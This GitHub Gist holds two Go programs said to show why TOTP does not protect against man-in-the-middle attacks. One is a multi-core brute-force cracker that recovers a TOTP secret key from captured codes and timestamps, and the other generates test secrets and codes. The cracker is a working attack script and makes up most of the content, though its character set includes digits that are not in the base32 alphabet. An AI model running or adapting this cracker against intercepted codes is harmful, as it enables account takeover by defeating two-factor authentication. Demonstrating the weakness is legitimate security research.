Last active
August 30, 2018 06:08
-
-
Save jckimble/901262ec4e70142bf1feb53509abbf4a to your computer and use it in GitHub Desktop.
Example of why totp is NOT a protection for mitm attacks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"flag" | |
"fmt" | |
"github.com/pquerna/otp" | |
"github.com/pquerna/otp/totp" | |
"os" | |
"strconv" | |
"strings" | |
"sync" | |
"time" | |
) | |
var wg sync.WaitGroup | |
func main() { | |
helpPtr := flag.Bool("help", false, "Show Usage") | |
lengthPtr := flag.Int("keyLength", 16, "Length of Key To Crack") | |
coresPtr := flag.Int("cores", 1, "Number of Cores to use") | |
flag.Parse() | |
if *helpPtr { | |
flag.Usage() | |
os.Exit(0) | |
} | |
crack := NewTOTPCrack(*lengthPtr) | |
for _, str := range flag.Args() { | |
if strings.Contains(str, ":") { | |
spl := strings.SplitN(str, ":", 2) | |
timestamp, err := strconv.Atoi(spl[0]) | |
if err != nil { | |
fmt.Printf("Error: %s\n", err) | |
} | |
crack.AddCode(int64(timestamp), spl[1]) | |
} | |
} | |
if len(crack.Captured) == 0 { | |
fmt.Println("You must supply atleast one totp code with timestamp. As many as possible will give better chances of not hitting collisions") | |
os.Exit(1) | |
} | |
fmt.Printf("Getting ready to crack a %d Length TOTP Key", *lengthPtr) | |
wg.Add(1) | |
go crack.GetKeys() | |
fmt.Println("Starting Cores") | |
cores := *coresPtr | |
for cores > 0 { | |
cores-- | |
wg.Add(1) | |
go crack.Run() | |
} | |
wg.Wait() | |
fmt.Println("TOTPCrack Has Finished") | |
} | |
type TOTPCrack struct { | |
Captured map[int64]string | |
KeyLength int | |
Period uint | |
Digits otp.Digits | |
WorkQueue chan string | |
Done bool | |
} | |
func NewTOTPCrack(length int) *TOTPCrack { | |
tc := &TOTPCrack{ | |
KeyLength: length, | |
Captured: map[int64]string{}, | |
Period: 30, | |
} | |
tc.WorkQueue = make(chan string, 100) | |
return tc | |
} | |
func (t *TOTPCrack) AddCode(timestamp int64, code string) { | |
t.Digits = otp.Digits(len(code)) | |
t.Captured[timestamp] = code | |
} | |
var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" | |
func (t *TOTPCrack) GetKeys() { | |
defer wg.Done() | |
r := []rune(CHARS) | |
pk := make([]rune, t.KeyLength) | |
x := make([]int, len(pk)) | |
for { | |
p := pk[:len(x)] | |
for i, xi := range x { | |
p[i] = r[xi] | |
} | |
for i := len(x) - 1; i >= 0; i-- { | |
x[i]++ | |
if x[i] < len(r) { | |
break | |
} | |
x[i] = 0 | |
if i <= 0 { | |
x = x[0:0] | |
break | |
} | |
} | |
if len(string(p)) == 0 { | |
break | |
} | |
t.WorkQueue <- string(p) | |
} | |
t.Done = true | |
} | |
func (t *TOTPCrack) CheckKey(key string) { | |
for ts, c := range t.Captured { | |
if v, _ := totp.ValidateCustom(c, key, time.Unix(ts, 0), totp.ValidateOpts{ | |
Period: t.Period, | |
Skew: 1, | |
Digits: t.Digits, | |
Algorithm: otp.AlgorithmSHA1, | |
}); !v { | |
return | |
} | |
} | |
fmt.Printf("Found Key: %s\n", key) | |
os.Exit(0) | |
} | |
func (t *TOTPCrack) Run() { | |
defer wg.Done() | |
for { | |
select { | |
case key, ok := <-t.WorkQueue: | |
t.CheckKey(key) | |
if !ok { | |
return | |
} | |
} | |
if t.Done && len(t.WorkQueue) == 0 { | |
return | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"flag" | |
"fmt" | |
"github.com/pquerna/otp" | |
"github.com/pquerna/otp/totp" | |
"os" | |
"time" | |
) | |
func main() { | |
helpPtr := flag.Bool("help", false, "Show Usage") | |
lengthPtr := flag.Int("keyLength", 2, "Length of Key To Generate") | |
codesPtr := flag.Int("codes", 1, "Codes To Generate") | |
sizePtr := flag.Int("size", 6, "Code Size") | |
flag.Parse() | |
if *helpPtr { | |
flag.Usage() | |
os.Exit(0) | |
} | |
key, _ := totp.Generate(totp.GenerateOpts{ | |
Issuer: "test", | |
AccountName: "test", | |
Period: 30, | |
SecretSize: uint(*lengthPtr), | |
Digits: otp.Digits(*sizePtr), | |
Algorithm: otp.AlgorithmSHA1, | |
}) | |
secret := key.Secret() | |
fmt.Printf("Key: %s\n", secret) | |
x := 0 | |
ti := time.Now() | |
for x < *codesPtr { | |
x++ | |
code, _ := totp.GenerateCodeCustom(secret, ti, totp.ValidateOpts{ | |
Period: 30, | |
Skew: 1, | |
Digits: otp.Digits(*sizePtr), | |
Algorithm: otp.AlgorithmSHA1, | |
}) | |
fmt.Printf("Code: %d:%s\n", ti.Unix(), code) | |
ti = ti.Add(-1 * time.Hour) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment